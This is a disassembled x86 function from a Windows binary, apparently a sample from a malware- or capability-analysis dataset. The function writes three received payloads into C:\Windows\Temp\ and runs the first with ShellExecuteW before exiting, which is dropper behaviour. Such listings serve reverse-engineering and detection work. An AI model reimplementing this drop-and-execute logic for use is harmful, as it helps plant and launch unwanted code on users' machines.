Function at 0x402450
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x760
mov eax, dword [0x411040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x64
lea eax, [ebp - 0x68]
mov esi, ecx
push 0
push eax
call sub.msvcrt.dll_memset
push 0x64
lea eax, [ebp - 0xcc]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x64
lea eax, [ebp - 0x130]
push 0
push eax
call sub.msvcrt.dll_memset
push 4
lea eax, [ebp - 0x74c]
mov dword [ebp - 0x74c], 0
push eax
mov eax, dword [esi + 0x10]
push esi
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x754], 0
call eax
push dword [ebp - 0x74c]
lea eax, [ebp - 0x68]
push eax
mov eax, dword [esi + 0x10]
push esi
call eax
push 4
lea eax, [ebp - 0x750]
push eax
mov eax, dword [esi + 0x10]
push esi
call eax
add esp, 0x48
lea eax, [ebp - 0xcc]
push dword [ebp - 0x750]
push eax
mov eax, dword [esi + 0x10]
push esi
call eax
push 4
lea eax, [ebp - 0x754]
push eax
mov eax, dword [esi + 0x10]
push esi
call eax
push dword [ebp - 0x754]
lea eax, [ebp - 0x130]
push eax
mov eax, dword [esi + 0x10]
push esi
call eax
push 0x208
lea eax, [ebp - 0x338]
mov dword [ebp - 0x758], 0
push 0
push eax
mov dword [ebp - 0x75c], 0
mov dword [ebp - 0x760], 0
call sub.msvcrt.dll_memset
push 0x208
lea eax, [ebp - 0x540]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x208
lea eax, [ebp - 0x748]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0x48
lea eax, [ebp - 0x758]
push 4
push eax
mov eax, dword [esi + 0x10]
push esi
call eax
mov eax, dword [ebp - 0x758]
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x4025f1
push 4
push 0x1000
push eax
push 0
call ebx
mov ebx, eax
test ebx, ebx
je 0x4025eb
push str.C:WindowsTemp_
lea eax, [ebp - 0x338]
push eax
call edi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x338]
push eax
call edi
push dword [ebp - 0x758]
mov eax, dword [esi + 0x10]
push ebx
push esi
call eax
push dword [ebp - 0x758]
mov edx, ebx
lea ecx, [ebp - 0x338]
call fcn.004023d0
add esp, 0x10
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
lea eax, [ebp - 0x75c]
push eax
mov eax, dword [esi + 0x10]
push esi
call eax
mov eax, dword [ebp - 0x75c]
add esp, 0xc
test eax, eax
je 0x402660
push 4
push 0x1000
push eax
push 0
call ebx
mov ebx, eax
test ebx, ebx
je 0x402660
push str.C:WindowsTemp_
lea eax, [ebp - 0x540]
push eax
call edi
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x540]
push eax
call edi
push dword [ebp - 0x75c]
mov eax, dword [esi + 0x10]
push ebx
push esi
call eax
push dword [ebp - 0x75c]
mov edx, ebx
lea ecx, [ebp - 0x540]
call fcn.004023d0
add esp, 0x10
push 4
lea eax, [ebp - 0x760]
push eax
mov eax, dword [esi + 0x10]
push esi
call eax
mov eax, dword [ebp - 0x760]
add esp, 0xc
test eax, eax
je 0x4026d3
push 4
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x4026d3
push str.C:WindowsTemp_
lea eax, [ebp - 0x748]
push eax
call edi
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x748]
push eax
call edi
push dword [ebp - 0x760]
mov eax, dword [esi + 0x10]
push ebx
push esi
call eax
push dword [ebp - 0x760]
mov edx, ebx
lea ecx, [ebp - 0x748]
call fcn.004023d0
add esp, 0x10
push 5
push 0
push 0
lea eax, [ebp - 0x338]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]